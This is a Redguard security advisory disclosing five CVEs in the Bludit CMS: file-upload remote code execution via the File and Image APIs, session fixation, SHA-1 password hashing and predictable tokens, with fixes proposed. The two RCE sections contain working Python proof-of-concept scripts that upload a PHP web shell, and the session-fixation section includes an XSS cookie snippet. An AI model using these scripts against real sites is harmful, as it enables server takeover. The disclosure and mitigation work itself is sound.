Security Advisory: Multiple Vulnerabilities in the Open Source CMS Bludit

Jun 20, 2024 von Andreas Pfefferle

In order to prepare for the OffSec Web Expert (OSWE) certification exam, I searched for open source web applications that I can analyze in a white box approach. I stumbled upon Bludit, an open source content management system for building websites and blogs. After a few hours of testing, I found five security vulnerabilities, including two remote code execution flaws. This advisory briefly explains the vulnerabilities and proposes possible fixes and mitigations.

It should be noted that at the time of publication of this advisory, the security vulnerabilities had not yet been addressed by the Bludit development team. Redguard initiated a Coordinated Vulnerability Disclosure in January 2024, which the maintainers of Bludit have not responded to.

The following security vulnerabilities have been identified in Bludit:

CVE-2024-24550: Bludit - Remote Code Execution (RCE) through File API

A security vulnerability in Bludit allows attackers with knowledge of the API token to upload arbitrary files through the File API which leads to arbitrary code execution on the server. This vulnerability arises from improper handling of file uploads, enabling malicious actors to upload and execute PHP files.

CVSS v4.0 Score: 8.9 (HIGH)

Details

Attackers with knowledge of the API token can exploit the Bludit Files API, which includes a seemingly undocumented file upload feature, to upload arbitrary files. The respective file upload API request seems to be undocumented as it is not mentioned in the official Bludit API documentation (as of 2024-06-15).

The file upload API does not perform any form of file type checking (neither file extension nor MIME type are checked), which allows any user with knowledge of the API token to upload, for instance, PHP files. The uploaded files are stored in a file directory under the web root, making them accessible to any site visitor, including unauthenticated users. This means that if authenticated attackers were able to upload a PHP web shell to the server, even unauthenticated users could run commands on the server by using the web shell.

The affected code was committed to the Git repository about 4 years ago.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private function uploadFile($pageKey)
{
        if (!isset($_FILES['file'])) {
                return array(
                        'status'=>'1',
                        'message'=>'File not sent.'
                );
        }

        if ($_FILES['file']['error'] != 0) {
                return array(
                        'status'=>'1',
                        'message'=>'Error uploading the file.'
                );
        }

        $filename = $_FILES['file']['name'];
        $absoluteURL = DOMAIN_UPLOADS_PAGES.$pageKey.DS.$filename;
        $absolutePath = PATH_UPLOADS_PAGES.$pageKey.DS.$filename;
        if (Filesystem::mv($_FILES['file']['tmp_name'], $absolutePath)) {
                return array(
                        'status'=>'0',
                        'message'=>'File uploaded.',
                        'filename'=>$filename,
                        'absolutePath'=>$absolutePath,
                        'absoluteURL'=>$absoluteURL
                );
        }

        return array(
                'status'=>'1',
                'message'=>'Error moving the file to the final path.'
        );
}

As can be seen in the code snippet above, the uploaded file is written to the web root without any prior sanitization.

Preconditions

To exploit this vulnerability, several preconditions must be met. First, the Bludit administrator must have enabled the API, as it is disabled by default. Additionally, the attacker needs to possess knowledge of the API token. However, it is important to note that authentication is not necessary to access the file upload directory.

Proof-of-Concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import argparse
import requests

def get_page_uuid(target, token):
    url = f"{target}/api/pages?token={token}"

    response = requests.get(url, headers={'Connection': 'close'})
    if response.status_code == 200:
        data = response.json()

        if 'data' in data and data['data']:
            # Take the first element from the 'data' array
            first_element = data['data'][0]

            if 'uuid' in first_element:
                return first_element['uuid']

    return None


def upload_file(target, api_token, file_name, file_content, uuid):
    boundary = "BOUNDARY_STRING"

    headers = {
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Connection": "close",
    }


    data = f"""--{boundary}
Content-Disposition: form-data; name="token"

{api_token}
--{boundary}
Content-Disposition: form-data; name="file"; filename="{file_name}"
Content-Type: text/plain

{file_content}
--{boundary}--"""


    url = f"{target}/api/files/{uuid}"
    response = requests.post(
        url,
        headers=headers,
        data=data
    )
    if response.status_code == 200:
        data = response.json()

        if 'message' in data and data['message'] == "File uploaded.":
            print(f"{target}/bl-content/uploads/pages/{uuid}/{file_name}?cmd=id")
        else:
            print("Error: Unexpected response from the server.")
            print(response.text)
    else:
        print("Error: Unexpected response from the server.")
        print(response.text)


def main():
    parser = argparse.ArgumentParser(description="Generate and send a POST request.")
    parser.add_argument("--target", required=True, help="Target URL (e.g., http://localhost:8000)")
    parser.add_argument("--api-token", required=True, help="API token")

    args = parser.parse_args()

    uuid = get_page_uuid(args.target, args.api_token)

    file_name = "shell.php"
    file_content = "<?php system($_GET['cmd']); ?>"

    upload_file(args.target, args.api_token, file_name, file_content, uuid)

if __name__ == "__main__":
    main()

Affected Versions

All Bludit versions since 3.14.0 (released on 2022-09-05), including the most recent version 3.15.0 (as of 2024-06-15) are affected.

Suggested Mitigations and Countermeasures

  1. Remove file upload API: As the API POST request for uploading files is not documented, it can be assumed that it is a feature not actually needed by Bludit users. This is substantiated by the fact that users also cannot upload arbitrary files with the web application (AJAX).
  2. Use an allowlist: If the first suggestion is not feasible as it is an actively used feature of Bludit users, it is advised to restrict the possible upload file formats with an allowlist. Before storing the uploaded files in the intended directory, their file extension and mime type should be checked.
  3. Restrict upload storage: Users should only be allowed to store a certain amount of data on the file share (e.g. 10MB).
  4. If uploaded files should not be downloadable by everyone: Ensure that the temporary file directory is relocated outside of the web root to prevent unauthorized access.
  5. If uploaded files should be downloadable: Disable PHP in upload folder, e.g. with the following configuration in nginx:
1
2
3
4
5
6
7
8
9
10
11
location /upload_folder {
    # Disable PHP execution
    location ~ \.php$ {
        deny all;
    }

    # Allow other file types
    location /upload_folder/ {
        # Additional configurations for other file types if necessary
    }
}

CVE-2024-24551: Bludit - Remote Code Execution (RCE) through Image API

A security vulnerability in Bludit allows authenticated attackers to execute arbitrary code through the Image API. This vulnerability arises from improper handling of file uploads, enabling malicious actors to upload and execute PHP files.

CVSS v4.0 Score: 8.9 (HIGH)

Details

Authenticated attackers can exploit the Bludit Image API, which includes an image upload feature, to upload arbitrary files. While the API performs some upload checks (e.g., validating file extensions against a predefined set of common image file types), uploaded files are stored in a temporary directory within the web root. In cases where the file extension is not allowed, the files are not deleted from the temporary file directory, making them accessible to any site visitor, including unauthenticated users. This means that if authenticated attackers were able to upload a PHP web shell to the server, even unauthenticated users could run commands on the server by using the web shell.

The affected code was committed to the Git repository about 5 years ago. Our comments in the code snippet below explain how the vulnerability arises.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
        private function uploadImage($inputs)
        {
[---SNIP---]
                // Move from PHP tmp file to Bludit tmp directory
                Filesystem::mv($_FILES['image']['tmp_name'], PATH_TMP.$_FILES['image']['name']);

                // transformImage function checks if file extesion is allowed. If it is allowed, the file is moved (not just copied) to the intended image directory
                $image = transformImage(PATH_TMP.$_FILES['image']['name'], $imageDirectory, $thumbnailDirectory);
              [---SNIP---]

// The transformImage function is defined in bl-kernel/functions.php
function transformImage($file, $imageDir, $thumbnailDir = false)
{
[---SNIP---]
// If the file extension is not allowed, tranformImage simply returns "false" without deleting the file from the temporary directory
  if (!in_array($fileExtension, $GLOBALS['ALLOWED_IMG_EXTENSION'])) {
    return false;
  }

In case the uploaded file is a PHP file, unauthenticated visitors can access it under e.g. http://<target>/bl-content/tmp/shell.php

Preconditions

To exploit this vulnerability, several preconditions must be met. First, the Bludit administrator must have enabled the API, as it is disabled by default. Additionally, the attacker needs to possess knowledge of the API token. However, it is important to note that authentication is not necessary to access the file upload directory.

Proof-of-Concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import argparse
import requests

def upload_image(target, api_token, user_token, file_name, file_content):
    boundary = "BOUNDARY_STRING"

    headers = {
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Connection": "close",
    }

    data = f"""--{boundary}
Content-Disposition: form-data; name="token"

{api_token}
--{boundary}
Content-Disposition: form-data; name="authentication"

{user_token}
--{boundary}
Content-Disposition: form-data; name="uuid"

test
--{boundary}
Content-Disposition: form-data; name="image"; filename="{file_name}"
Content-Type: image/gif

{file_content}
--{boundary}--"""


    url = f"{target}/api/images"
    response = requests.post(
        url,
        headers=headers,
        data=data
    )

    if response.status_code == 200 and response.text.strip() == '{"status":"1","message":"Image extension not allowed."}':
        file_name = "shell.php"
        print(f"{target}/bl-content/tmp/{file_name}?cmd=id")
    else:
        print("Error: Unexpected response from the server.")
        print(response.text)


def main():
    parser = argparse.ArgumentParser(description="Generate and send a POST request.")
    parser.add_argument("--target", required=True, help="Target URL (e.g., http://localhost:8000)")
    parser.add_argument("--api-token", required=True, help="API token")
    parser.add_argument("--user-token", required=True, help="User authentication token")

    args = parser.parse_args()

    file_name = "shell.php"
    file_content = "<?php system($_GET['cmd']); ?>"

    upload_image(args.target, args.api_token, args.user_token, file_name, file_content)

if __name__ == "__main__":
    main()

Affected Versions

All Bludit versions since 3.9.0 beta 1 (released on 2019-05-18), including the most recent version 3.15.0 (as of 2024-06-15) are affected.

Suggested Mitigations and Countermeasures

  1. Remove temporary folder from webroot: Ensure that the temporary file directory is relocated outside of the web root to prevent unauthorized access.
  2. Remove files from tmp folder even on negative checks: Implement a cleanup process to remove files from the temporary folder, regardless of whether the file extension check is positive or negative.
  3. Consolidate image upload code for AJAX requests: It should be noted that there is code for handling image uploads over AJAX (and not through the API) under bl-kernel/ajax/profile-picture-upload.php. This code is similar, but different to the API image upload code. For instance, the AJAX code for image uploads includes MIME type validation to provide an additional layer of security. It is advised to consolidate the code into a single location for easier maintenance and ensuring that it is consistent across different parts of the application.

CVE-2024-24552: Bludit is Vulnerable to Session Fixation

A session fixation vulnerability in Bludit allows an attacker to bypass the server’s authentication if they can trick an administrator or any other user into authorizing a session ID of their choosing.

CVSS v4.0 Score: 5.6 (MEDIUM)

Details

When users visit the admin login page under /admin/, the session cookie BLUDIT-KEY=[...]; path=/ is set. This session cookie is not changed after signing in which means that the same value is used for privileged authenticated sessions. An attacker could perform an attack against an admin (or any other user with a Bludit account) as follows:

  1. Attacker tricks victim into using the attacker’s session cookie. Although this scenario is very unlikely, this could happen, for instance, when the same browser is shared between attacker and victim. Quickly visiting the login page and exfiltrating the cookies’ value is sufficient for the attacker, thus this could happen while the victim’s client machine is unlocked for a few moments. Alternatively, an attacker can use a cross-site scripting vulnerability (e.g. <script>document.cookie="BLUDIT-KEY=[...]";</script>) to fix the session ID. Multiple XSS vulnerabilities have been identified in Bludit in previous years.
  2. Victim signs in under /admin/.
  3. Attacker can use the fixed session ID in their own browser and impersonate the victim.

Preconditions

To exploit this vulnerability, certain preconditions must be fulfilled. Firstly, the attacker needs a method to set the session cookie at least once. Additionally, the victim must login once the session cookie was fixed by the attacker.

Affected Versions

Most likely, all versions since the initial release of Bludit are affected from this vulnerability, including the most recent version 3.15.0 (as of 2024-06-15).

Suggested Mitigations and Countermeasures

Please refer to the OWASP Session Management Cheatsheet, in which solutions for session fixation are presented:

The session ID must be renewed or regenerated by the web application after any privilege level change within the associated user session. The most common scenario where the session ID regeneration is mandatory is during the authentication process, as the privilege level of the user changes from the unauthenticated (or anonymous) state to the authenticated state though in some cases still not yet the authorized state. Common scenarios to consider include; password changes, permission changes, or switching from a regular user role to an administrator role within the web application. For all sensitive pages of the web application, any previous session IDs must be ignored, only the current session ID must be assigned to every new request received for the protected resource, and the old or previous session ID must be destroyed.

CVE-2024-24553: Bludit uses SHA1 as Password Hashing Algorithm

Bludit uses the SHA-1 hashing algorithm to compute password hashes. Thus, attackers could determine cleartext passwords with brute-force attacks due to the inherent speed of SHA-1. In addition, the salt that is computed by Bludit is generated with a non-cryptographically secure function.

CVSS v4.0 Score: 5.9 (MEDIUM)

Details

The primary concern lies in the inherent speed of SHA-1, which makes it computationally efficient. Password hashing algorithms should be intentionally slow to increase the overhead for brute-force attacks, but SHA-1’s efficiency undermines this crucial security principle. Additionally, Bludit utilizes a non-cryptographically secure method to generate password salts (rand), further exacerbating the security risk associated with user passwords.

The combination of SHA-1 and a non-cryptographically secure method for generating password salts weakens the overall security of user passwords.

The affected code was committed to the Git repository about 7 years ago.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function generatePasswordHash($password, $salt)
{
        return sha1($password.$salt);
}

[...]

public static function randomText($length)
{
         $characteres = "1234567890abcdefghijklmnopqrstuvwxyz!@#%^&*";
         $text = '';
         for($i=0; $i<$length; $i++) {
                $text .= $characteres[rand(0,41)];
         }
         return $text;
}


[...]

public function generateSalt()
{
        return Text::randomText(SALT_LENGTH);
}

[...]

define('SALT_LENGTH', 8);

[...]

$row['salt'] = $this->generateSalt();
$row['password'] = $this->generatePasswordHash($password, $row['salt']);

Affected Versions

All Bludit versions since 2.0 (released on 2017-10-16) are affected from this vulnerability, including the most recent version 3.15.0 (as of 2024-06-15). It should be noted, however, that previous versions of Bludit used similar weak password hashing methods.

Suggested Mitigations and Countermeasures

To address this vulnerability, it is imperative that the Bludit development team transitions to a more secure and intentionally slow hashing algorithm, such as bcrypt or Argon2, for password storage. These algorithms introduce the necessary computational overhead to resist brute-force attacks effectively. In addition, it is advised that appropriate cost factors are used.

Furthermore, the generation of password salts should be revamped to employ a cryptographically secure method. The current approach, utilizing the Text::randomText function, should be replaced with a robust random number generator provided by the operating system or a dedicated cryptographic library. This change ensures the creation of unpredictable and secure salts, enhancing the overall resilience of the password storage mechanism.

CVE-2024-24554: Bludit - Insecure Token Generation

Bludit uses predictable methods in combination with the MD5 hashing algorithm to generate sensitive tokens such as the API token and the user token. This allows attackers to authenticate against the Bludit API.

CVSS v4.0 Score: 6.0 (MEDIUM)

Details

Bludit relies on non-cryptographically secure methods to generate sensitive tokens. For instance, the API token, which is used in all requests against the Bludit API, is computed by taking the MD5 hash of the concatenated output of uniqid(), time(), and the website’s domain. The affected code was committed to the Git repository about 7 years ago.

1
2
3
4
5
public function init()
{
        // Generate the API Token
        $token = md5( uniqid().time().DOMAIN );
[...]

According to the PHP documentation, uniqid() is a function that “does not generate cryptographically secure values, and must not be used for cryptographic purposes, or purposes that require returned values to be unguessable.” Apparently, the returned value is “based on the current time in microseconds.”

Although the combination with time() and the website’s domain makes exploiting this weakness more difficult at least to some degree, an attacker with enough resources is able to brute-force API tokens from feasible time ranges. This should be seen in context of previous Bludit vulnerabilities related to insufficient brute-force protection (e.g. CVE-2019-17240).

A similar problem is related to generating “Auth Tokens” which are required in a few API requests as additional parameters.

1
2
3
4
5
6
public function generateAuthToken()
{
        return md5( uniqid().time().DOMAIN );
}

[...]

Preconditions

It should be noted that the Bludit administrator must have enabled the API, as it is disabled by default.

Affected Versions

All Bludit versions since 2.0 (released on 2017-10-16) are affected from this vulnerability, including the most recent version 3.15.0 (as of 2024-06-15).

Suggested Mitigations and Countermeasures

Generating secure API and user auth tokens in PHP involves creating unique and cryptographically secure strings that can be used as tokens for authentication purposes. The following code snippet is a basic example of how to generate secure API tokens in PHP:

1
2
3
4
function generateApiToken($length = 32) {
    $token = bin2hex(random_bytes($length));
    return $token;
}

Credits

  • Andreas Pfefferle, Redguard AG

Timeline

  • 2024-01-24: Initial notification of the project maintainer via email. The email address was found on the Github profile of the maintainer, but was removed shortly after the initial notification.
  • 2024-01-25: Initial contact with NCSC as CNA of Switzerland to assign a CVE.
  • 2024-01-25: CVE-2024-24550, CVE-2024-24551, CVE-2024-24552, CVE-2024-24553, and CVE-2024-24554 reserved by NCSC.
  • 2024-01-25: Opened an issue in Github, asking the maintainer to contact us via email.
  • 2024-04-18: Contacted the maintainer again via comment in Github issue.
  • 2024-06-15: Informed the maintainer via email about the upcoming public vulnerability disclosure.
  • 2024-06-20: Public disclosure of this advisory.

About Redguard

Redguard is a Swiss-based information security company. We assist our clients with technical security testing as well as organizational security audits and consulting. This enables us to have a team with extensive experience in a wide variety of security relevant topics.

Disclaimer

This document is not meant to be a complete list of security issues for any of the mentioned software and/or versions. It is possible, and indeed likely, that there are further security issues that are yet to be identified. The information in the advisory is believed to be accurate at the time of publishing, based on currently available information.

Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties regarding this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.


< zurück